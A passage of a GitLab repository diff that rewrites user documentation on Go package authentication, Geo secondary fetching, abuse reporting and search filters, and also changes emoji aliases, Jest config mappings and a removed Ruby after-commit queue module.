-selectively disabled with `GOPRIVATE` (disable both),
-[`GONOPROXY`](../../development/go_guide/dependencies.md#proxies) (disable proxy
-queries), and [`GONOSUMDB`](../../development/go_guide/dependencies.md#fetching)
-(disable checksum queries).
-
-`GOPRIVATE`, `GONOPROXY`, and `GONOSUMDB` are comma-separated lists of Go
-modules and Go module prefixes. For example,
-`GOPRIVATE=gitlab.example.com/my/private/project` disables queries for that
-one project, but `GOPRIVATE=gitlab.example.com` disables queries for *all*
-projects on GitLab.com. Go does not query module proxies if the module name or a
-prefix of it appears in `GOPRIVATE` or `GONOPROXY`. Go does not query checksum
-databases if the module name or a prefix of it appears in `GONOPRIVATE` or
-`GONOSUMDB`.
-
-### Authenticate Go requests
-
-To authenticate requests to private projects made by Go, use a [`.netrc`
-file](https://everything.curl.dev/usingcurl/netrc) and a [personal access
-token](../profile/personal_access_tokens.md) in the password field. **This only
-works if your GitLab instance can be accessed with HTTPS.** The `go` command
-does not transmit credentials over insecure connections. This authenticates
-all HTTPS requests made directly by Go, but does not authenticate requests made
-through Git.
+1. On the top bar, select **Menu > Project**.
+1. Select **Your projects** or **Explore projects**.
+1. Select a project.
+1. Select **Leave project**. The **Leave project** option only displays
+on the project dashboard when a project is part of a group under a
+[group namespace](../group/index.md#namespaces).
-For example:
+## Use a project as a Go package
+
+Prerequisites:
+
+- Contact your administrator to enable the [GitLab Go Proxy](../packages/go_proxy/index.md).
+- To use a private project in a subgroup as a Go package, you must [authenticate Go requests](#authenticate-go-requests-to-private-projects). Go requests that are not authenticated cause
+`go get` to fail. You don't need to authenticate Go requests for projects that are not in subgroups.
+
+To use a project as a Go package, use the `go get` and `godoc.org` discovery requests. You can use the meta tags:
+
+- [`go-import`](https://pkg.go.dev/cmd/go#hdr-Remote_import_paths)
+- [`go-source`](https://github.com/golang/gddo/wiki/Source-Code-Links)
+
+### Authenticate Go requests to private projects
+
+Prerequisites:
+
+- Your GitLab instance must be accessible with HTTPS.
+- You must have a [personal access token](../profile/personal_access_tokens.md).
+
+To authenticate Go requests, create a [`.netrc`](https://everything.curl.dev/usingcurl/netrc) file with the following information:
```plaintext
machine gitlab.example.com
@@ -335,95 +349,110 @@ login <gitlab_user_name>
password <personal_access_token>
```
-NOTE:
On Windows, Go reads `~/_netrc` instead of `~/.netrc`.
-### Authenticate Git fetches
+The `go` command does not transmit credentials over insecure connections. It authenticates
+HTTPS requests made by Go, but does not authenticate requests made
+through Git.
-If a module cannot be fetched from a proxy, Go falls back to using Git (for
-GitLab projects). Git uses `.netrc` to authenticate requests. You can also
-configure Git to either:
+### Authenticate Git requests
-- Embed specific credentials in the request URL.
-- Use SSH instead of HTTPS, as Go always uses HTTPS to fetch Git repositories.
+If Go cannot fetch a module from a proxy, it uses Git. Git uses a `.netrc` file to authenticate requests, but you can
+configure other authentication methods.
-```shell
-# Embed credentials in any request to GitLab.com:
-git config --global url."https://${user}:${personal_access_token}@gitlab.example.com".insteadOf "https://gitlab.example.com"
+Configure Git to either:
-# Use SSH instead of HTTPS:
-git config --global url."git@gitlab.example.com".insteadOf "https://gitlab.example.com"
-```
+- Embed credentials in the request URL:
-### Fetch Go modules from Geo secondary sites
+ ```shell
+ git config --global url."https://${user}:${personal_access_token}@gitlab.example.com".insteadOf "https://gitlab.example.com"
+ ```
+
+- Use SSH instead of HTTPS:
+
+ ```shell
+ git config --global url."git@gitlab.example.com".insteadOf "https://gitlab.example.com"
+ ```
+
+### Disable Go module fetching for private projects
+
+To [fetch modules or packages](../../development/go_guide/dependencies.md#fetching), Go uses
+the [environment variables](../../development/go_guide/dependencies.md#proxies):
-As Go modules are stored in Git repositories, you can use the [Geo](../../administration/geo/index.md)
-feature that allows Git repositories to be accessed on the secondary Geo servers.
+- `GOPRIVATE`
+- `GONOPROXY`
+- `GONOSUMDB`
-In the following examples, the primary's site domain name is `gitlab.example.com`,
-and the secondary's is `gitlab-secondary.example.com`.
+To disable fetching:
-`go get` will initially generate some HTTP traffic to the primary, but when the module
-download commences, the `insteadOf` configuration sends the traffic to the secondary.
+1. Disable `GOPRIVATE`:
+ - To disable queries for one project, disable `GOPRIVATE=gitlab.example.com/my/private/project`.
+ - To disable queries for all projects on GitLab.com, disable `GOPRIVATE=gitlab.example.com`.
+1. Disable proxy queries in `GONOPROXY`.
+1. Disable checksum queries in `GONOSUMDB`.
-#### Use SSH to access the Geo secondary
+- If the module name or its prefix is in `GOPRIVATE` or `GONOPROXY`, Go does not query module
+proxies.
+- If the module name or its prefix is in `GONOPRIVATE` or `GONOSUMDB`, Go does not query
+Checksum databases.
-To fetch Go modules from the secondary using SSH:
+### Fetch Go modules from Geo secondary sites
+
+Use [Geo](../../administration/geo/index.md) to access Git repositories that contain Go modules
+on secondary Geo servers.
+
+You can use SSH or HTTP to access the Geo secondary server.
+
+#### Use SSH to access the Geo secondary server
+
+To access the Geo secondary server with SSH:
1. Reconfigure Git on the client to send traffic for the primary to the secondary:
- ```plaintext
+ ```shell
git config --global url."git@gitlab-secondary.example.com".insteadOf "https://gitlab.example.com"
git config --global url."git@gitlab-secondary.example.com".insteadOf "http://gitlab.example.com"
```
-1. Ensure the client is set up for SSH access to GitLab repositories. This can be tested on the primary,
- and GitLab will replicate the public key to the secondary.
+ - For `gitlab.example.com`, use the primary site domain name.
+ - For `gitlab-secondary.example.com`, use the secondary site domain name.
+
+1. Ensure the client is set up for SSH access to GitLab repositories. You can test this on the primary,
+ and GitLab replicates the public key to the secondary.
+
+The `go get` request generates HTTP traffic to the primary Geo server. When the module
+download starts, the `insteadOf` configuration sends the traffic to the secondary Geo server.
#### Use HTTP to access the Geo secondary
-Using HTTP to fetch Go modules does not work with CI/CD job tokens, only with
-persistent access tokens that are replicated to the secondary.
+You must use persistent access tokens that replicate to the secondary server. You cannot use
+CI/CD job tokens to fetch Go modules with HTTP.
-To fetch Go modules from the secondary using HTTP:
+To access the Geo secondary server with HTTP:
-1. Put in place a Git `insteadOf` redirect on the client:
+1. Add a Git `insteadOf` redirect on the client:
- ```plaintext
+ ```shell
git config --global url."https://gitlab-secondary.example.com".insteadOf "https://gitlab.example.com"
```
+ - For `gitlab.example.com`, use the primary site domain name.
+ - For `gitlab-secondary.example.com`, use the secondary site domain name.
+
1. Generate a [personal access token](../profile/personal_access_tokens.md) and
- provide those credentials in the client's `~/.netrc` file:
+ add the credentials in the client's `~/.netrc` file:
- ```plaintext
+ ```shell
machine gitlab.example.com login USERNAME password TOKEN
machine gitlab-secondary.example.com login USERNAME password TOKEN
```
-## Access project page with project ID
+The `go get` request generates HTTP traffic to the primary Geo server. When the module
+download starts, the `insteadOf` configuration sends the traffic to the secondary Geo server.
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53671) in GitLab 11.8.
+## Related topics
-To quickly access a project from the GitLab UI using the project ID,
-visit the `/projects/:id` URL in your browser or other tool accessing the project.
-
-## Project's landing page
-
-The project's landing page shows different information depending on
-the project's visibility settings and user permissions.
-
-For public projects, and to members of internal and private projects
-with [permissions to view the project's code](../permissions.md#project-members-permissions):
-
-- The content of a
- [`README` or an index file](repository/index.md#readme-and-index-files)
- is displayed (if any), followed by the list of directories in the
- project's repository.
-- If the project doesn't contain either of these files, the
- visitor sees the list of files and directories of the repository.
-
-For users without permissions to view the project's code, GitLab displays:
-
-- The wiki homepage, if any.
-- The list of issues in the project.
+- [Import a project](../../user/project/import/index.md).
+- [Connect an external repository to GitLab CI/CD](../../ci/ci_cd_for_external_repos/index.md).
+- [Fork a project](repository/forking_workflow.md#creating-a-fork).
+- [Adjust project visibility and access levels](settings/index.md#sharing-and-permissions).
diff --git a/doc/user/report_abuse.md b/doc/user/report_abuse.md
index 810e1427e11..c0fb29b435a 100644
--- a/doc/user/report_abuse.md
+++ b/doc/user/report_abuse.md
@@ -16,54 +16,51 @@ A GitLab administrator [can then choose](admin_area/review_abuse_reports.md) to:
You can report a user through their:
-- [Profile](#reporting-abuse-through-a-users-profile)
-- [Comments](#reporting-abuse-through-a-users-comment)
-- [Issues and Merge requests](#reporting-abuse-through-a-users-issue-or-merge-request)
+- [Profile](#report-abuse-from-the-users-profile-page)
+- [Comments](#report-abuse-from-a-users-comment)
+- [Issues](#report-abuse-from-an-issue)
+- [Merge requests](#report-abuse-from-a-merge-request)
- [Snippets](snippets.md#mark-snippet-as-spam)
-## Reporting abuse through a user's profile
+## Report abuse from the user's profile page
To report abuse from a user's profile page:
-1. Click on the exclamation point report abuse button at the top right of the
- user's profile.
+1. Anywhere in GitLab, select the name of the user.
+1. In the top right corner of the user's profile, select **Report abuse** (**{information-o}**).
1. Complete an abuse report.
-1. Click the **Send report** button.
+1. Select **Send report**.
-## Reporting abuse through a user's comment
+## Report abuse from a user's comment
To report abuse from a user's comment:
-1. Click on the vertical ellipsis (â‹®) more actions button to open the dropdown.
-1. Select **Report as abuse**.
+1. In the comment, in the top right corner, select **More actions** (**{ellipsis_v}**).
+1. Select **Report abuse to admin**.
1. Complete an abuse report.
-1. Click the **Send report** button.
+1. Select **Send report**.
NOTE:
A URL to the reported user's comment is pre-filled in the abuse report's
**Message** field.
-## Reporting abuse through a user's issue or merge request
+## Report abuse from an issue
-The **Report abuse** button is displayed at the top right of the issue or merge request:
-
-- When **Report abuse** is selected from the menu that appears when the
- **Close issue** or **Close merge request** button is clicked, for users that
- have permission to close the issue or merge request.
-- When viewing the issue or merge request, for users that don't have permission
- to close the issue or merge request.
+1. On the issue, in the top right corner, select the vertical ellipsis (**{ellipsis_v}**).
+1. Select **Report abuse**.
+1. Submit an abuse report.
+1. Select **Send report**.
-With the **Report abuse** button displayed, to submit an abuse report:
+## Report abuse from a merge request
-1. Click the **Report abuse** button.
+1. On the merge request, in the top right corner, either:
+ - Select **Report abuse**. This option is displayed if you do not have permission to close the merge request.
+ - Next to **Mark as draft**, select the down arrow (**{chevron-down}**) and then select **Report abuse**.
+ This option is displayed if you have permission to close the merge request.
1. Submit an abuse report.
-1. Click the **Send report** button.
-
-NOTE:
-A URL to the reported user's issue or merge request is pre-filled
-in the abuse report's **Message** field.
+1. Select **Send report**.
-## Managing abuse reports
+## Related topics
-Administrators are able to view and resolve abuse reports.
-For more information, see [abuse reports administration documentation](admin_area/review_abuse_reports.md).
+- Administrators can view and resolve abuse reports.
+ For more information, see [abuse reports administration documentation](admin_area/review_abuse_reports.md).
diff --git a/doc/user/search/advanced_search.md b/doc/user/search/advanced_search.md
index f68951badff..b9c45bce43a 100644
--- a/doc/user/search/advanced_search.md
+++ b/doc/user/search/advanced_search.md
@@ -14,6 +14,10 @@ This is the user documentation. To configure the Advanced Search,
visit the [administrator documentation](../../integration/elasticsearch.md).
Advanced Search is enabled in GitLab.com.
+INFO:
+Get advanced search and more with a
+[free 30-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=p-advanced-search-docs).
+
GitLab Advanced Search expands on the Basic Search with an additional set of
features for faster, more advanced searches across the entire GitLab instance
when searching in:
@@ -48,13 +52,13 @@ The Advanced Search can be useful in various scenarios:
## Use the Advanced Search syntax
-Elasticsearch has only data for the default branch. That means that if you go
+Elasticsearch has data for the default branch only. That means that if you go
to the repository tree and switch the branch from the default to something else,
-then the "Code" tab in the search result page will be served by the basic
+then the **Code** tab in the search result page is served by the basic
search even if Elasticsearch is enabled.
The Advanced Search syntax supports fuzzy or exact search queries with prefixes,
-boolean operators, and much more. Use the search as before and GitLab will show
+boolean operators, and much more. Use the search as before and GitLab shows
you matching code from each project you have access to.
![Advanced Search](img/advanced_search_v13.10.png)
@@ -62,8 +66,8 @@ you matching code from each project you have access to.
Full details can be found in the [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/reference/5.3/query-dsl-simple-query-string-query.html#_simple_query_string_syntax), but
here's a quick guide:
-- Searches look for all the words in a query, in any order - e.g.: searching
- issues for [`display bug`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=display+bug&group_id=9970&project_id=278964) and [`bug display`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+Display&group_id=9970&project_id=278964) will return the same results.
+- Searches look for all the words in a query, in any order - for example: searching
+ issues for [`display bug`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=display+bug&group_id=9970&project_id=278964) and [`bug display`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+Display&group_id=9970&project_id=278964) return the same results.
- To find the exact phrase (stemming still applies), use double quotes: [`"display bug"`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=%22display+bug%22&group_id=9970&project_id=278964)
- To find bugs not mentioning display, use `-`: [`bug -display`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+-display&group_id=9970&project_id=278964)
- To find a bug in display or banner, use `|`: [`bug display | banner`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+display+%7C+banner&group_id=9970&project_id=278964)
@@ -81,7 +85,7 @@ Advanced Search also supports the use of filters. The available filters are:
- `blob`: Filters by Git `object ID`. Exact match only.
To use them, add them to your keyword in the format `<filter_name>:<value>` without
-any spaces between the colon (`:`) and the value. When no keyword is provided, an asterisk (`*`) will be used as the keyword.
+any spaces between the colon (`:`) and the value. When no keyword is provided, an asterisk (`*`) is used as the keyword.
Examples:
diff --git a/doc/user/search/img/dashboard_links_v13_11.png b/doc/user/search/img/dashboard_links_v13_11.png
deleted file mode 100644
index 5f2e61eee1e..00000000000
--- a/doc/user/search/img/dashboard_links_v13_11.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/dashboard_links_v14_6.png b/doc/user/search/img/dashboard_links_v14_6.png
new file mode 100644
index 00000000000..52ae39d9d1a
--- /dev/null
+++ b/doc/user/search/img/dashboard_links_v14_6.png
Binary files differ
diff --git a/doc/user/search/img/filter_approved_by_merge_requests_v13_0.png b/doc/user/search/img/filter_approved_by_merge_requests_v13_0.png
deleted file mode 100644
index 5020da90297..00000000000
--- a/doc/user/search/img/filter_approved_by_merge_requests_v13_0.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/filter_approved_by_merge_requests_v14_6.png b/doc/user/search/img/filter_approved_by_merge_requests_v14_6.png
new file mode 100644
index 00000000000..8d47fdc2652
--- /dev/null
+++ b/doc/user/search/img/filter_approved_by_merge_requests_v14_6.png
Binary files differ
diff --git a/doc/user/search/img/filter_approver_merge_requests.png b/doc/user/search/img/filter_approver_merge_requests.png
deleted file mode 100644
index 4c28ee17f47..00000000000
--- a/doc/user/search/img/filter_approver_merge_requests.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/filter_approver_merge_requests_v14_6.png b/doc/user/search/img/filter_approver_merge_requests_v14_6.png
new file mode 100644
index 00000000000..58950031378
--- /dev/null
+++ b/doc/user/search/img/filter_approver_merge_requests_v14_6.png
Binary files differ
diff --git a/doc/user/search/img/filtering_merge_requests_by_date_v13_6.png b/doc/user/search/img/filtering_merge_requests_by_date_v13_6.png
deleted file mode 100644
index 8f59534ef1c..00000000000
--- a/doc/user/search/img/filtering_merge_requests_by_date_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/filtering_merge_requests_by_date_v14_6.png b/doc/user/search/img/filtering_merge_requests_by_date_v14_6.png
new file mode 100644
index 00000000000..398820f7864
--- /dev/null
+++ b/doc/user/search/img/filtering_merge_requests_by_date_v14_6.png
Binary files differ
diff --git a/doc/user/search/img/filtering_merge_requests_by_environment_v13_6.png b/doc/user/search/img/filtering_merge_requests_by_environment_v13_6.png
deleted file mode 100644
index e73a0995d73..00000000000
--- a/doc/user/search/img/filtering_merge_requests_by_environment_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/filtering_merge_requests_by_environment_v14_6.png b/doc/user/search/img/filtering_merge_requests_by_environment_v14_6.png
new file mode 100644
index 00000000000..c35f2c8a58b
--- /dev/null
+++ b/doc/user/search/img/filtering_merge_requests_by_environment_v14_6.png
Binary files differ
diff --git a/doc/user/search/img/issue_search_by_term.png b/doc/user/search/img/issue_search_by_term.png
deleted file mode 100644
index 64450c6a891..00000000000
--- a/doc/user/search/img/issue_search_by_term.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/issue_search_filter_v12_7.png b/doc/user/search/img/issue_search_filter_v12_7.png
deleted file mode 100644
index 102a2e0859c..00000000000
--- a/doc/user/search/img/issue_search_filter_v12_7.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/issues_assigned_to_you.png b/doc/user/search/img/issues_assigned_to_you.png
deleted file mode 100644
index 55986eedcba..00000000000
--- a/doc/user/search/img/issues_assigned_to_you.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/issues_filter_none_any.png b/doc/user/search/img/issues_filter_none_any.png
deleted file mode 100644
index 9682fc55315..00000000000
--- a/doc/user/search/img/issues_filter_none_any.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/issues_mrs_shortcut_v14_4.png b/doc/user/search/img/issues_mrs_shortcut_v14_4.png
deleted file mode 100644
index 2610e611446..00000000000
--- a/doc/user/search/img/issues_mrs_shortcut_v14_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/issues_mrs_shortcut_v14_6.png b/doc/user/search/img/issues_mrs_shortcut_v14_6.png
new file mode 100644
index 00000000000..52753eb8fc7
--- /dev/null
+++ b/doc/user/search/img/issues_mrs_shortcut_v14_6.png
Binary files differ
diff --git a/doc/user/search/img/project_search.png b/doc/user/search/img/project_search.png
deleted file mode 100644
index b2525b2c771..00000000000
--- a/doc/user/search/img/project_search.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/index.md b/doc/user/search/index.md
index 325e5386417..aa4950cfa33 100644
--- a/doc/user/search/index.md
+++ b/doc/user/search/index.md
@@ -5,26 +5,20 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: index, reference, howto
---
-# Search through GitLab **(FREE)**
+# Searching in GitLab **(FREE)**
-## Issues and merge requests
+## Search issues and merge requests
-To search through issues and merge requests in multiple projects, use the **Issues** or **Merge Requests** links
-in the top-right part of your screen. These instructions are valid for both.
+To search through issues and merge requests in multiple projects, on the top bar, select the **Issues** or **Merge Requests** links.
-The numbers in the right-hand side of the top menu indicate how many issues, merge requests,
-and to-do items are assigned to you:
+The numbers indicate how many issues, merge requests, and to-do items are assigned to you:
-![issues and MRs dashboard links](img/dashboard_links_v13_11.png)
+![issues and MRs dashboard links](img/dashboard_links_v14_6.png)
- **{issues}** **Issues**: The open issues assigned to you.
- **{merge-request-open}** **Merge requests**: The [merge requests](../project/merge_requests/index.md) assigned to you.
- **{todo-done}** **To-do items**: The [to-do items](../todos.md) assigned to you.
-When you click **Issues**, GitLab shows the opened issues assigned to you:
-
-![Issues assigned to you](img/issues_assigned_to_you.png)
-
You can search through **Open**, **Closed**, or **All** issues.
You can also filter the results using the search and filter field, as described in
@@ -35,7 +29,7 @@ You can also filter the results using the search and filter field, as described
GitLab shows shortcuts to issues and merge requests created by you or assigned to you
in the search field in the upper right corner:
-![shortcut to your issues and merge requests](img/issues_mrs_shortcut_v14_4.png)
+![shortcut to your issues and merge requests](img/issues_mrs_shortcut_v14_6.png)
### Filter issue and merge request lists
@@ -63,25 +57,13 @@ groups:
- `=`: Is
- `!=`: Is not ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18059) in GitLab 12.7)
1. Enter the text to [filter the attribute by](#filters-autocomplete).
+ You can filter some attributes by **None** or **Any**.
1. Repeat this process to filter by multiple attributes. Multiple attributes are joined by a logical
- `AND`. For example, filtering by an Author and Milestone `!=` 12.6 filters for the issues where the
- author matches your selection, and the milestone is not 12.6:
-
- ![filter issues in a project](img/issue_search_filter_v12_7.png)
+ `AND`.
GitLab displays the results on-screen, but you can also
[retrieve them as an RSS feed](#retrieve-search-results-as-feed).
-### Filtering by **None** / **Any**
-
-Some filter fields like milestone and assignee, allow you to filter by **None** or **Any**.
-
-![filter by none any](img/issues_filter_none_any.png)
-
-Selecting **None** returns results that have an empty value for that field. For example: no milestone, no assignee.
-
-Selecting **Any** does the opposite. It returns results that have a non-empty value for that field.
-
### Searching for specific terms
You can filter issues and merge requests by specific terms included in titles or descriptions.
@@ -95,8 +77,6 @@ You can filter issues and merge requests by specific terms included in titles or
issues for `included in titles` is same as `included titles`
- Search is limited to 4096 characters and 64 terms per query.
-![filter issues by specific terms](img/issue_search_by_term.png)
-
### Retrieve search results as feed
> Feeds for merge requests were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66336) in GitLab 14.3.
@@ -128,7 +108,7 @@ You can filter the **Issues** list to individual instances by their ID. For exam
To filter merge requests by an individual approver, you can type (or select from
the dropdown) **Approver** and select the user.
-![Filter MRs by an approver](img/filter_approver_merge_requests.png)
+![Filter MRs by an approver](img/filter_approver_merge_requests_v14_6.png)
### Filtering merge requests by "approved by" **(PREMIUM)**
@@ -138,7 +118,7 @@ the dropdown) **Approver** and select the user.
To filter merge requests already approved by a specific individual, you can type (or select from
the dropdown) **Approved-By** and select the user.
-![Filter MRs by approved by](img/filter_approved_by_merge_requests_v13_0.png)
+![Filter MRs by approved by](img/filter_approved_by_merge_requests_v14_6.png)
### Filtering merge requests by reviewer **(FREE)**
@@ -161,13 +141,15 @@ you can type (or select from the dropdown) the following:
When filtering by an environment, a dropdown presents all environments that
you can choose from:
-![Filter MRs by their environment](img/filtering_merge_requests_by_environment_v13_6.png)
+![Filter MRs by their environment](img/filtering_merge_requests_by_environment_v14_6.png)
-When filtering by a deploy date, you must enter the date manually. Deploy dates
+When filtering by `Deployed-before` or `Deployed-after`, the date refers to when
+the deployment to an environment (triggered by the merge commit) completed successfully.
+You must enter the deploy date manually. Deploy dates
use the format `YYYY-MM-DD`, and must be quoted if you wish to specify
both a date and time (`"YYYY-MM-DD HH:MM"`):
-![Filter MRs by a deploy date](img/filtering_merge_requests_by_date_v13_6.png)
+![Filter MRs by a deploy date](img/filtering_merge_requests_by_date_v14_6.png)
## Filters autocomplete
@@ -245,20 +227,9 @@ and **Labels**, select multiple issues to add to a list of your choice:
![search and select issues to add to board](img/search_issues_board.png)
-## Shortcut
-
-To view issues and merge requests created or assigned to you in a project:
-
-1. Go to your project.
-1. In the top navigation bar, click the search box to display a list of issues and
- merge requests.
-1. Select your desired issue or merge request:
-
- ![search per project - shortcut](img/project_search.png)
-
-### Autocomplete suggestions
+## Autocomplete suggestions
-You can also type in this search bar to see autocomplete suggestions for:
+In the search bar, you can view autocomplete suggestions for:
- Projects and groups
- Various help pages (try and type **API help**)
diff --git a/doc/user/snippets.md b/doc/user/snippets.md
index e2cb9937f76..dc3ab35067e 100644
--- a/doc/user/snippets.md
+++ b/doc/user/snippets.md
@@ -52,7 +52,7 @@ You can create snippets in multiple ways, depending on whether you want to creat
Filenames with appropriate extensions display [syntax highlighting](#filenames).
Failure to add a filename can cause a known
[copy-pasting bug](https://gitlab.com/gitlab-org/gitlab/-/issues/22870). If you don't provide a filename, GitLab [creates a name for you](#filenames).
-1. (Optional) Add [multiple files](#add-or-remove-multiple-files) to your snippet.
+1. Optional. Add [multiple files](#add-or-remove-multiple-files) to your snippet.
1. Select a visibility level, and select **Create snippet**.
After you create a snippet, you can still [add more files to it](#add-or-remove-multiple-files).
diff --git a/doc/user/tasks.md b/doc/user/tasks.md
index e5e5510407e..5fde64e3578 100644
--- a/doc/user/tasks.md
+++ b/doc/user/tasks.md
@@ -15,15 +15,18 @@ For the latest updates, check the [Tasks Roadmap](https://gitlab.com/groups/gitl
FLAG:
On self-managed GitLab, by default this feature is not available. To make it available,
ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `work_items`.
+On GitLab.com, this feature is not available.
The feature is not ready for production use.
Use tasks to track steps needed for the [issue](project/issues/index.md) to be closed.
When planning an issue, you need a way to capture and break down technical
-requirements or steps necessary to complete it. An issue with tasks is better defined,
+requirements or steps necessary to complete it. An issue with related tasks is better defined,
and so you can provide a more accurate issue weight and completion criteria.
-To see the roadmap for migrating issues and [epics](group/epics/index.md)
+Tasks are a type of work item, a step towards [default issue types](https://gitlab.com/gitlab-org/gitlab/-/issues/323404)
+in GitLab.
+For the roadmap of migrating issues and [epics](group/epics/index.md)
to work items and adding custom work item types, visit
[epic 6033](https://gitlab.com/groups/gitlab-org/-/epics/6033) or
[Plan direction page](https://about.gitlab.com/direction/plan/).
@@ -31,4 +34,4 @@ to work items and adding custom work item types, visit
## View a task
The only way to view a task is to open it with a deep link,
-for example: `/<group_name>/<project_name>/-/work_item/1`
+for example: `/<group_name>/<project_name>/-/work_item/1`.
diff --git a/doc/user/todos.md b/doc/user/todos.md
index 9a985664ed1..2486db813ff 100644
--- a/doc/user/todos.md
+++ b/doc/user/todos.md
@@ -29,7 +29,7 @@ Many to-do items are created automatically.
A to-do item is added to your To-Do List when:
- An issue or merge request is assigned to you.
-- You're [mentioned](project/issues/issue_data_and_actions.md#mentions) in the description or
+- You're [mentioned](discussions/index.md#mentions) in the description or
comment of an issue, merge request, or epic.
- You are mentioned in a comment on a commit or design.
- The CI/CD pipeline for your merge request fails.
diff --git a/doc/user/workspace/index.md b/doc/user/workspace/index.md
index 8ca7f7defb2..cf35f082880 100644
--- a/doc/user/workspace/index.md
+++ b/doc/user/workspace/index.md
@@ -6,6 +6,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Workspace
+DISCLAIMER:
+This page contains information related to upcoming products, features, and functionality.
+It is important to note that the information presented is for informational purposes only.
+Please do not rely on this information for purchasing or planning purposes.
+As with all projects, the items mentioned on this page are subject to change or delay.
+The development, release, and timing of any products, features, or functionality remain at the
+sole discretion of GitLab Inc.
+
Workspace will be above the [top-level namespaces](../group/index.md#namespaces) for you to manage
everything you do as a GitLab administrator, including:
diff --git a/fixtures/emojis/aliases.json b/fixtures/emojis/aliases.json
index f549d20cd73..c054e5e9f43 100644
--- a/fixtures/emojis/aliases.json
+++ b/fixtures/emojis/aliases.json
@@ -1,4 +1,6 @@
{
+ ":) ":"smile",
+ ":( ":"disappointed",
"small_airplane":"airplane_small",
"right_anger_bubble":"anger_right",
"keycap_asterisk":"asterisk",
diff --git a/generator_templates/usage_metric_definition/metric_definition.yml b/generator_templates/usage_metric_definition/metric_definition.yml
index c094d6d3d88..f8920b8d963 100644
--- a/generator_templates/usage_metric_definition/metric_definition.yml
+++ b/generator_templates/usage_metric_definition/metric_definition.yml
@@ -12,6 +12,7 @@ introduced_by_url:
time_frame: <%= time_frame %>
data_source:
data_category: optional
+instrumentation_class: <%= class_name %>
performance_indicator_type:
distribution:
<%= distribution %>
diff --git a/jest.config.base.js b/jest.config.base.js
index d1478987fb8..f2a7422303d 100644
--- a/jest.config.base.js
+++ b/jest.config.base.js
@@ -51,6 +51,7 @@ module.exports = (path, options = {}) => {
'^shared_queries(/.*)$': '<rootDir>/app/graphql/queries$1',
'^ee_else_ce(/.*)$': '<rootDir>/app/assets/javascripts$1',
'^jh_else_ce(/.*)$': '<rootDir>/app/assets/javascripts$1',
+ '^any_else_ce(/.*)$': '<rootDir>/app/assets/javascripts$1',
'^helpers(/.*)$': '<rootDir>/spec/frontend/__helpers__$1',
'^vendor(/.*)$': '<rootDir>/vendor/assets/javascripts$1',
[TEST_FIXTURES_PATTERN]: '<rootDir>/tmp/tests/frontend/fixtures$1',
@@ -72,6 +73,8 @@ module.exports = (path, options = {}) => {
'^ee_component(/.*)$': rootDirEE,
'^ee_else_ce(/.*)$': rootDirEE,
'^ee_jest/(.*)$': '<rootDir>/ee/spec/frontend/$1',
+ '^any_else_ce(/.*)$': rootDirEE,
+ '^jh_else_ee(/.*)$': rootDirEE,
[TEST_FIXTURES_PATTERN]: '<rootDir>/tmp/tests/frontend/fixtures-ee$1',
...extModuleNameMapperEE,
});
@@ -84,8 +87,11 @@ module.exports = (path, options = {}) => {
Object.assign(moduleNameMapper, {
'^jh(/.*)$': rootDirJH,
'^jh_component(/.*)$': rootDirJH,
- '^jh_else_ce(/.*)$': rootDirJH,
'^jh_jest/(.*)$': '<rootDir>/jh/spec/frontend/$1',
+ // jh path alias https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74305#note_732793956
+ '^jh_else_ce(/.*)$': rootDirJH,
+ '^jh_else_ee(/.*)$': rootDirJH,
+ '^any_else_ce(/.*)$': rootDirJH,
...extModuleNameMapperJH,
});
diff --git a/jest.config.integration.js b/jest.config.integration.js
index 184f88779c8..df25c2b247b 100644
--- a/jest.config.integration.js
+++ b/jest.config.integration.js
@@ -24,4 +24,5 @@ module.exports = {
'^jh_else_ce_test_helpers(/.*)$': '<rootDir>/jh/spec/frontend_integration/test_helpers$1',
},
}),
+ timers: 'real',
};
diff --git a/lib/after_commit_queue.rb b/lib/after_commit_queue.rb
deleted file mode 100644
index cbeaea97951..00000000000
--- a/lib/after_commit_queue.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-# frozen_string_literal: true
-
-module AfterCommitQueue
- extend ActiveSupport::Concern
-
- included do
- after_commit :_run_after_commit_queue
- after_rollback :_clear_after_commit_queue
- end
-
- def run_after_commit(&block)
- _after_commit_queue << block if block
-
- true
- end
-
- def run_after_commit_or_now(&block)
- if ApplicationRecord.inside_transaction?
- if ActiveRecord::Base.connection.current_transaction.records&.include?(self)
- run_after_commit(&block)
- else
- # If the current transaction does not include this record, we can run
- # the block now, even if it queues a Sidekiq job.
- Sidekiq::Worker.skipping_transaction_check do
- instance_eval(&block)
- end
- end
- else
- instance_eval(&block)
- end
-
- true
- end
-
- protected
-
- def _run_after_commit_queue
- while action = _after_commit_queue.pop
- self.instance_eval(&action)
- end
- end
-
- def _after_commit_queue
- @after_commit_queue ||= []
- end
-
- def _clear_after_commit_queue
- _after_commit_queue.clear
- end
-end
